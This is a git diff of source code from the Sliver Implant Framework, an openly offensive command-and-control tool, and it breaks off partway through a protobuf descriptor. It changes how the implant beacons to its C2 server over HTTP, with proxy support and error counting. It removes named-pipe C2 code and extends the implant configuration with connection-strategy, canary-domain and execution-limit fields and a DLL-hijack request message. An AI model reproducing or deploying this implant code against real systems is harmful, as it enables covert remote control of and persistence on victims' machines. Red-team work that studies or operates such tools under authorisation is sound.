@@ -524,12 +559,13 @@ func wgConnect(uri *url.URL) (*Connection, error) {
|
||||
// {{end}} -WGc2Enabled
|
||||
|
||||
// {{if .Config.HTTPc2Enabled}}
|
||||
func httpConnect(uri *url.URL) (*Connection, error) {
|
||||
func httpConnect(c2URI *url.URL) (*Connection, error) {
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Connecting -> http(s)://%s", uri.Host)
|
||||
log.Printf("Connecting -> http(s)://%s", c2URI.Host)
|
||||
// {{end}}
|
||||
client, err := HTTPStartSession(uri.Host, uri.Path)
|
||||
proxyConfig := c2URI.Query().Get("proxy")
|
||||
client, err := HTTPStartSession(c2URI.Host, c2URI.Path, proxyConfig)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("http(s) connection error %v", err)
|
||||
@@ -572,37 +608,52 @@ func httpConnect(uri *url.URL) (*Connection, error) {
|
||||
|
||||
go func() {
|
||||
defer connection.Cleanup()
|
||||
errCount := 0 // Number of sequential errors
|
||||
for {
|
||||
select {
|
||||
case <-ctrl:
|
||||
return
|
||||
default:
|
||||
resp, err := client.Poll()
|
||||
switch err := err.(type) {
|
||||
switch errType := err.(type) {
|
||||
case nil:
|
||||
errCount = 0
|
||||
if len(resp) == 0 {
|
||||
continue
|
||||
}
|
||||
envelope := &pb.Envelope{}
|
||||
proto.Unmarshal(resp, envelope)
|
||||
err = proto.Unmarshal(resp, envelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("failed to decode pb: %s", err)
|
||||
// {{end}}
|
||||
continue
|
||||
}
|
||||
recv <- envelope
|
||||
case net.Error:
|
||||
if err.Timeout() {
|
||||
case *url.Error:
|
||||
errCount++
|
||||
if err, ok := errType.Err.(net.Error); ok && err.Timeout() {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("non-fatal error, continue")
|
||||
log.Printf("timeout error #%d", errCount)
|
||||
// {{end}}
|
||||
continue
|
||||
if errCount < maxErrors {
|
||||
continue
|
||||
}
|
||||
}
|
||||
return
|
||||
case *url.Error:
|
||||
if err, ok := err.Err.(net.Error); ok && err.Timeout() {
|
||||
case net.Error:
|
||||
errCount++
|
||||
if errType.Timeout() {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("non-fatal error, continue")
|
||||
log.Printf("timeout error #%d", errCount)
|
||||
// {{end}}
|
||||
continue
|
||||
if errCount < maxErrors {
|
||||
continue
|
||||
}
|
||||
}
|
||||
return
|
||||
default:
|
||||
errCount++
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] error: %#v", err)
|
||||
// {{end}}
|
||||
@@ -671,64 +722,6 @@ func dnsConnect(uri *url.URL) (*Connection, error) {
|
||||
|
||||
// {{end}} - .DNSc2Enabled
|
||||
|
||||
// {{if .Config.NamePipec2Enabled}}
|
||||
func namedPipeConnect(uri *url.URL) (*Connection, error) {
|
||||
conn, err := namePipeDial(uri)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
send := make(chan *pb.Envelope)
|
||||
recv := make(chan *pb.Envelope)
|
||||
ctrl := make(chan bool, 1)
|
||||
connection := &Connection{
|
||||
Send: send,
|
||||
Recv: recv,
|
||||
ctrl: ctrl,
|
||||
tunnels: &map[uint64]*Tunnel{},
|
||||
mutex: &sync.RWMutex{},
|
||||
once: &sync.Once{},
|
||||
IsOpen: true,
|
||||
cleanup: func() {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] lost connection, cleanup...")
|
||||
// {{end}}
|
||||
close(send)
|
||||
ctrl <- true
|
||||
close(recv)
|
||||
},
|
||||
}
|
||||
|
||||
go func() {
|
||||
defer connection.Cleanup()
|
||||
for envelope := range send {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] send loop envelope type %d\n", envelope.Type)
|
||||
// {{end}}
|
||||
namedPipeWriteEnvelope(&conn, envelope)
|
||||
}
|
||||
}()
|
||||
|
||||
go func() {
|
||||
defer connection.Cleanup()
|
||||
for {
|
||||
envelope, err := namedPipeReadEnvelope(&conn)
|
||||
if err == io.EOF {
|
||||
break
|
||||
}
|
||||
if err == nil {
|
||||
recv <- envelope
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[namedpipe] Receive loop envelope type %d\n", envelope.Type)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
}()
|
||||
activeConnection = connection
|
||||
return connection, nil
|
||||
}
|
||||
|
||||
// {{end}} -NamePipec2Enabled
|
||||
|
||||
// {{if .Config.TCPPivotc2Enabled}}
|
||||
func tcpPivotConnect(uri *url.URL) (*Connection, error) {
|
||||
addr := strings.ReplaceAll(uri.String(), "tcppivot://", "")
|
||||
@@ -763,7 +756,7 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcp-pivot] send loop envelope type %d\n", envelope.Type)
|
||||
// {{end}}
|
||||
tcpPivoteWriteEnvelope(&conn, envelope)
|
||||
tcpPivotWriteEnvelope(&conn, envelope)
|
||||
}
|
||||
}()
|
||||
|
||||
@@ -789,7 +782,7 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
|
||||
// {{end}} -TCPPivotc2Enabled
|
||||
|
||||
// rootOnlyVerifyCertificate - Go doesn't provide a method for only skipping hostname validation so
|
||||
// we have to disable all of the fucking certificate validation and re-implement everything.
|
||||
// we have to disable all of the certificate validation and re-implement everything.
|
||||
// https://github.com/golang/go/issues/21971
|
||||
func rootOnlyVerifyCertificate(rawCerts [][]byte, _ [][]*x509.Certificate) error {
|
||||
|
||||
|
||||
@@ -1,5 +1,23 @@
|
||||
package version
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
func GetVersion() string {
|
||||
return ""
|
||||
}
|
||||
@@ -1,6 +0,0 @@
|
||||
package version
|
||||
|
||||
// GetVersion returns the os version information
|
||||
func GetVersion() string {
|
||||
return ""
|
||||
}
|
||||
@@ -1,8 +1,10 @@
|
||||
package shell
|
||||
//go:build !darwin && !(windows && (amd64 || 386)) && !(linux && (amd64 || 386))
|
||||
|
||||
package version
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
@@ -16,21 +18,14 @@ package shell
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
-----------------------------------------------------------------------
|
||||
|
||||
Place holder so we don't get undefined functions in generic builds.
|
||||
|
||||
*/
|
||||
|
||||
var (
|
||||
// Shell constants
|
||||
bash = []string{"/bin/bash"}
|
||||
sh = []string{"/bin/sh"}
|
||||
)
|
||||
|
||||
// GetSystemShellPath - Find bash or sh
|
||||
func GetSystemShellPath(path string) []string {
|
||||
if exists(path) {
|
||||
return []string{path}
|
||||
}
|
||||
if exists(bash[0]) {
|
||||
return bash
|
||||
}
|
||||
return sh
|
||||
// GetVersion returns the os version information
|
||||
func GetVersion() string {
|
||||
return ""
|
||||
}
|
||||
@@ -1,5 +1,25 @@
|
||||
//go:build amd64 || 386
|
||||
|
||||
package version
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
|
||||
@@ -1,5 +1,23 @@
|
||||
package version
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
//{{if .Config.Debug}}
|
||||
|
||||
+275
-73
@@ -666,6 +666,7 @@ type ImplantConfig struct {
|
||||
sizeCache protoimpl.SizeCache
|
||||
unknownFields protoimpl.UnknownFields
|
||||
|
||||
ID string `protobuf:"bytes,100,opt,name=ID,proto3" json:"ID,omitempty"`
|
||||
GOOS string `protobuf:"bytes,1,opt,name=GOOS,proto3" json:"GOOS,omitempty"`
|
||||
GOARCH string `protobuf:"bytes,2,opt,name=GOARCH,proto3" json:"GOARCH,omitempty"`
|
||||
Name string `protobuf:"bytes,3,opt,name=Name,proto3" json:"Name,omitempty"`
|
||||
@@ -684,18 +685,19 @@ type ImplantConfig struct {
|
||||
MaxConnectionErrors uint32 `protobuf:"varint,9,opt,name=MaxConnectionErrors,proto3" json:"MaxConnectionErrors,omitempty"`
|
||||
PollInterval uint32 `protobuf:"varint,38,opt,name=PollInterval,proto3" json:"PollInterval,omitempty"`
|
||||
// c2
|
||||
C2 []*ImplantC2 `protobuf:"bytes,10,rep,name=C2,proto3" json:"C2,omitempty"`
|
||||
CanaryDomains []string `protobuf:"bytes,11,rep,name=CanaryDomains,proto3" json:"CanaryDomains,omitempty"`
|
||||
LimitDomainJoined bool `protobuf:"varint,20,opt,name=LimitDomainJoined,proto3" json:"LimitDomainJoined,omitempty"`
|
||||
LimitDatetime string `protobuf:"bytes,21,opt,name=LimitDatetime,proto3" json:"LimitDatetime,omitempty"`
|
||||
LimitHostname string `protobuf:"bytes,22,opt,name=LimitHostname,proto3" json:"LimitHostname,omitempty"`
|
||||
LimitUsername string `protobuf:"bytes,23,opt,name=LimitUsername,proto3" json:"LimitUsername,omitempty"`
|
||||
LimitFileExists string `protobuf:"bytes,32,opt,name=LimitFileExists,proto3" json:"LimitFileExists,omitempty"`
|
||||
Format OutputFormat `protobuf:"varint,25,opt,name=Format,proto3,enum=clientpb.OutputFormat" json:"Format,omitempty"`
|
||||
IsSharedLib bool `protobuf:"varint,26,opt,name=IsSharedLib,proto3" json:"IsSharedLib,omitempty"`
|
||||
FileName string `protobuf:"bytes,27,opt,name=FileName,proto3" json:"FileName,omitempty"`
|
||||
IsService bool `protobuf:"varint,28,opt,name=IsService,proto3" json:"IsService,omitempty"`
|
||||
IsShellcode bool `protobuf:"varint,29,opt,name=IsShellcode,proto3" json:"IsShellcode,omitempty"`
|
||||
C2 []*ImplantC2 `protobuf:"bytes,10,rep,name=C2,proto3" json:"C2,omitempty"`
|
||||
CanaryDomains []string `protobuf:"bytes,11,rep,name=CanaryDomains,proto3" json:"CanaryDomains,omitempty"`
|
||||
ConnectionStrategy string `protobuf:"bytes,39,opt,name=ConnectionStrategy,proto3" json:"ConnectionStrategy,omitempty"`
|
||||
LimitDomainJoined bool `protobuf:"varint,20,opt,name=LimitDomainJoined,proto3" json:"LimitDomainJoined,omitempty"`
|
||||
LimitDatetime string `protobuf:"bytes,21,opt,name=LimitDatetime,proto3" json:"LimitDatetime,omitempty"`
|
||||
LimitHostname string `protobuf:"bytes,22,opt,name=LimitHostname,proto3" json:"LimitHostname,omitempty"`
|
||||
LimitUsername string `protobuf:"bytes,23,opt,name=LimitUsername,proto3" json:"LimitUsername,omitempty"`
|
||||
LimitFileExists string `protobuf:"bytes,32,opt,name=LimitFileExists,proto3" json:"LimitFileExists,omitempty"`
|
||||
Format OutputFormat `protobuf:"varint,25,opt,name=Format,proto3,enum=clientpb.OutputFormat" json:"Format,omitempty"`
|
||||
IsSharedLib bool `protobuf:"varint,26,opt,name=IsSharedLib,proto3" json:"IsSharedLib,omitempty"`
|
||||
FileName string `protobuf:"bytes,27,opt,name=FileName,proto3" json:"FileName,omitempty"`
|
||||
IsService bool `protobuf:"varint,28,opt,name=IsService,proto3" json:"IsService,omitempty"`
|
||||
IsShellcode bool `protobuf:"varint,29,opt,name=IsShellcode,proto3" json:"IsShellcode,omitempty"`
|
||||
}
|
||||
|
||||
func (x *ImplantConfig) Reset() {
|
||||
@@ -730,6 +732,13 @@ func (*ImplantConfig) Descriptor() ([]byte, []int) {
|
||||
return file_clientpb_client_proto_rawDescGZIP(), []int{3}
|
||||
}
|
||||
|
||||
func (x *ImplantConfig) GetID() string {
|
||||
if x != nil {
|
||||
return x.ID
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (x *ImplantConfig) GetGOOS() string {
|
||||
if x != nil {
|
||||
return x.GOOS
|
||||
@@ -863,6 +872,13 @@ func (x *ImplantConfig) GetCanaryDomains() []string {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (x *ImplantConfig) GetConnectionStrategy() string {
|
||||
if x != nil {
|
||||
return x.ConnectionStrategy
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (x *ImplantConfig) GetLimitDomainJoined() bool {
|
||||
if x != nil {
|
||||
return x.LimitDomainJoined
|
||||
@@ -4714,6 +4730,141 @@ func (x *AllHosts) GetHosts() []*Host {
|
||||
return nil
|
||||
}
|
||||
|
||||
// [ Dll Hijack ] ----------------------------------------
|
||||
type DllHijackReq struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
unknownFields protoimpl.UnknownFields
|
||||
|
||||
ReferenceDLLPath string `protobuf:"bytes,1,opt,name=ReferenceDLLPath,proto3" json:"ReferenceDLLPath,omitempty"`
|
||||
TargetLocation string `protobuf:"bytes,2,opt,name=TargetLocation,proto3" json:"TargetLocation,omitempty"`
|
||||
ReferenceDLL []byte `protobuf:"bytes,3,opt,name=ReferenceDLL,proto3" json:"ReferenceDLL,omitempty"`
|
||||
TargetDLL []byte `protobuf:"bytes,4,opt,name=TargetDLL,proto3" json:"TargetDLL,omitempty"`
|
||||
ProfileName string `protobuf:"bytes,5,opt,name=ProfileName,proto3" json:"ProfileName,omitempty"`
|
||||
Request *commonpb.Request `protobuf:"bytes,9,opt,name=Request,proto3" json:"Request,omitempty"`
|
||||
}
|
||||
|
||||
func (x *DllHijackReq) Reset() {
|
||||
*x = DllHijackReq{}
|
||||
if protoimpl.UnsafeEnabled {
|
||||
mi := &file_clientpb_client_proto_msgTypes[65]
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
ms.StoreMessageInfo(mi)
|
||||
}
|
||||
}
|
||||
|
||||
func (x *DllHijackReq) String() string {
|
||||
return protoimpl.X.MessageStringOf(x)
|
||||
}
|
||||
|
||||
func (*DllHijackReq) ProtoMessage() {}
|
||||
|
||||
func (x *DllHijackReq) ProtoReflect() protoreflect.Message {
|
||||
mi := &file_clientpb_client_proto_msgTypes[65]
|
||||
if protoimpl.UnsafeEnabled && x != nil {
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
if ms.LoadMessageInfo() == nil {
|
||||
ms.StoreMessageInfo(mi)
|
||||
}
|
||||
return ms
|
||||
}
|
||||
return mi.MessageOf(x)
|
||||
}
|
||||
|
||||
// Deprecated: Use DllHijackReq.ProtoReflect.Descriptor instead.
|
||||
func (*DllHijackReq) Descriptor() ([]byte, []int) {
|
||||
return file_clientpb_client_proto_rawDescGZIP(), []int{65}
|
||||
}
|
||||
|
||||
func (x *DllHijackReq) GetReferenceDLLPath() string {
|
||||
if x != nil {
|
||||
return x.ReferenceDLLPath
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (x *DllHijackReq) GetTargetLocation() string {
|
||||
if x != nil {
|
||||
return x.TargetLocation
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (x *DllHijackReq) GetReferenceDLL() []byte {
|
||||
if x != nil {
|
||||
return x.ReferenceDLL
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (x *DllHijackReq) GetTargetDLL() []byte {
|
||||
if x != nil {
|
||||
return x.TargetDLL
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (x *DllHijackReq) GetProfileName() string {
|
||||
if x != nil {
|
||||
return x.ProfileName
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func (x *DllHijackReq) GetRequest() *commonpb.Request {
|
||||
if x != nil {
|
||||
return x.Request
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
type DllHijack struct {
|
||||
state protoimpl.MessageState
|
||||
sizeCache protoimpl.SizeCache
|
||||
unknownFields protoimpl.UnknownFields
|
||||
|
||||
Response *commonpb.Response `protobuf:"bytes,9,opt,name=Response,proto3" json:"Response,omitempty"`
|
||||
}
|
||||
|
||||
func (x *DllHijack) Reset() {
|
||||
*x = DllHijack{}
|
||||
if protoimpl.UnsafeEnabled {
|
||||
mi := &file_clientpb_client_proto_msgTypes[66]
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
ms.StoreMessageInfo(mi)
|
||||
}
|
||||
}
|
||||
|
||||
func (x *DllHijack) String() string {
|
||||
return protoimpl.X.MessageStringOf(x)
|
||||
}
|
||||
|
||||
func (*DllHijack) ProtoMessage() {}
|
||||
|
||||
func (x *DllHijack) ProtoReflect() protoreflect.Message {
|
||||
mi := &file_clientpb_client_proto_msgTypes[66]
|
||||
if protoimpl.UnsafeEnabled && x != nil {
|
||||
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
|
||||
if ms.LoadMessageInfo() == nil {
|
||||
ms.StoreMessageInfo(mi)
|
||||
}
|
||||
return ms
|
||||
}
|
||||
return mi.MessageOf(x)
|
||||
}
|
||||
|
||||
// Deprecated: Use DllHijack.ProtoReflect.Descriptor instead.
|
||||
func (*DllHijack) Descriptor() ([]byte, []int) {
|
||||
return file_clientpb_client_proto_rawDescGZIP(), []int{66}
|
||||
}
|
||||
|
||||
func (x *DllHijack) GetResponse() *commonpb.Response {
|
||||
if x != nil {
|
||||
return x.Response
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
var File_clientpb_client_proto protoreflect.FileDescriptor
|
||||
|
||||
var file_clientpb_client_proto_rawDesc = []byte{
|
||||
@@ -4776,8 +4927,9 @@ var file_clientpb_client_proto_rawDesc = []byte{
|
||||
0x72, 0x69, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x55, 0x52, 0x4c, 0x18, 0x02,
|
||||
0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x55, 0x52, 0x4c, 0x12, 0x18, 0x0a, 0x07, 0x4f, 0x70, 0x74,
|
||||
0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x4f, 0x70, 0x74, 0x69,
|
||||
0x6f, 0x6e, 0x73, 0x22, 0xfc, 0x07, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43,
|
||||
0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20,
|
||||
0x6f, 0x6e, 0x73, 0x22, 0xbc, 0x08, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43,
|
||||
0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x64, 0x20, 0x01, 0x28,
|
||||
0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20,
|
||||
0x01, 0x28, 0x09, 0x52, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41,
|
||||
0x52, 0x43, 0x48, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43,
|
||||
0x48, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52,
|
||||
@@ -4816,7 +4968,10 @@ var file_clientpb_client_proto_rawDesc = []byte{
|
||||
0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x32,
|
||||
0x52, 0x02, 0x43, 0x32, 0x12, 0x24, 0x0a, 0x0d, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x79, 0x44, 0x6f,
|
||||
0x6d, 0x61, 0x69, 0x6e, 0x73, 0x18, 0x0b, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0d, 0x43, 0x61, 0x6e,
|
||||
0x61, 0x72, 0x79, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x2c, 0x0a, 0x11, 0x4c, 0x69,
|
||||
0x61, 0x72, 0x79, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x2e, 0x0a, 0x12, 0x43, 0x6f,
|
||||
0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x74, 0x72, 0x61, 0x74, 0x65, 0x67, 0x79,
|
||||
0x18, 0x27, 0x20, 0x01, 0x28, 0x09, 0x52, 0x12, 0x43, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x69,
|
||||
0x6f, 0x6e, 0x53, 0x74, 0x72, 0x61, 0x74, 0x65, 0x67, 0x79, 0x12, 0x2c, 0x0a, 0x11, 0x4c, 0x69,
|
||||
0x6d, 0x69, 0x74, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x4a, 0x6f, 0x69, 0x6e, 0x65, 0x64, 0x18,
|
||||
0x14, 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x44, 0x6f, 0x6d, 0x61,
|
||||
0x69, 0x6e, 0x4a, 0x6f, 0x69, 0x6e, 0x65, 0x64, 0x12, 0x24, 0x0a, 0x0d, 0x4c, 0x69, 0x6d, 0x69,
|
||||
@@ -5252,29 +5407,48 @@ var file_clientpb_client_proto_rawDesc = []byte{
|
||||
0x0a, 0x08, 0x41, 0x6c, 0x6c, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x12, 0x24, 0x0a, 0x05, 0x48, 0x6f,
|
||||
0x73, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65,
|
||||
0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x52, 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73,
|
||||
0x2a, 0x4a, 0x0a, 0x0c, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74,
|
||||
0x12, 0x0e, 0x0a, 0x0a, 0x53, 0x48, 0x41, 0x52, 0x45, 0x44, 0x5f, 0x4c, 0x49, 0x42, 0x10, 0x00,
|
||||
0x12, 0x0d, 0x0a, 0x09, 0x53, 0x48, 0x45, 0x4c, 0x4c, 0x43, 0x4f, 0x44, 0x45, 0x10, 0x01, 0x12,
|
||||
0x0e, 0x0a, 0x0a, 0x45, 0x58, 0x45, 0x43, 0x55, 0x54, 0x41, 0x42, 0x4c, 0x45, 0x10, 0x02, 0x12,
|
||||
0x0b, 0x0a, 0x07, 0x53, 0x45, 0x52, 0x56, 0x49, 0x43, 0x45, 0x10, 0x03, 0x2a, 0x2d, 0x0a, 0x0d,
|
||||
0x53, 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x07, 0x0a,
|
||||
0x03, 0x54, 0x43, 0x50, 0x10, 0x00, 0x12, 0x08, 0x0a, 0x04, 0x48, 0x54, 0x54, 0x50, 0x10, 0x01,
|
||||
0x12, 0x09, 0x0a, 0x05, 0x48, 0x54, 0x54, 0x50, 0x53, 0x10, 0x02, 0x2a, 0x2e, 0x0a, 0x08, 0x4c,
|
||||
0x6f, 0x6f, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0d, 0x0a, 0x09, 0x4c, 0x4f, 0x4f, 0x54, 0x5f,
|
||||
0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x13, 0x0a, 0x0f, 0x4c, 0x4f, 0x4f, 0x54, 0x5f, 0x43,
|
||||
0x52, 0x45, 0x44, 0x45, 0x4e, 0x54, 0x49, 0x41, 0x4c, 0x10, 0x01, 0x2a, 0x4d, 0x0a, 0x0e, 0x43,
|
||||
0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x12, 0x11, 0x0a,
|
||||
0x0d, 0x4e, 0x4f, 0x5f, 0x43, 0x52, 0x45, 0x44, 0x45, 0x4e, 0x54, 0x49, 0x41, 0x4c, 0x10, 0x00,
|
||||
0x12, 0x11, 0x0a, 0x0d, 0x55, 0x53, 0x45, 0x52, 0x5f, 0x50, 0x41, 0x53, 0x53, 0x57, 0x4f, 0x52,
|
||||
0x44, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x41, 0x50, 0x49, 0x5f, 0x4b, 0x45, 0x59, 0x10, 0x02,
|
||||
0x12, 0x08, 0x0a, 0x04, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x03, 0x2a, 0x2d, 0x0a, 0x08, 0x46, 0x69,
|
||||
0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0b, 0x0a, 0x07, 0x4e, 0x4f, 0x5f, 0x46, 0x49, 0x4c,
|
||||
0x45, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x42, 0x49, 0x4e, 0x41, 0x52, 0x59, 0x10, 0x01, 0x12,
|
||||
0x08, 0x0a, 0x04, 0x54, 0x45, 0x58, 0x54, 0x10, 0x02, 0x42, 0x2f, 0x5a, 0x2d, 0x67, 0x69, 0x74,
|
||||
0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f,
|
||||
0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75,
|
||||
0x66, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74,
|
||||
0x6f, 0x33,
|
||||
0x22, 0xf3, 0x01, 0x0a, 0x0c, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65,
|
||||
0x71, 0x12, 0x2a, 0x0a, 0x10, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c,
|
||||
0x4c, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x52, 0x65, 0x66,
|
||||
0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x50, 0x61, 0x74, 0x68, 0x12, 0x26, 0x0a,
|
||||
0x0e, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18,
|
||||
0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x63,
|
||||
0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e,
|
||||
0x63, 0x65, 0x44, 0x4c, 0x4c, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0c, 0x52, 0x65, 0x66,
|
||||
0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x61, 0x72,
|
||||
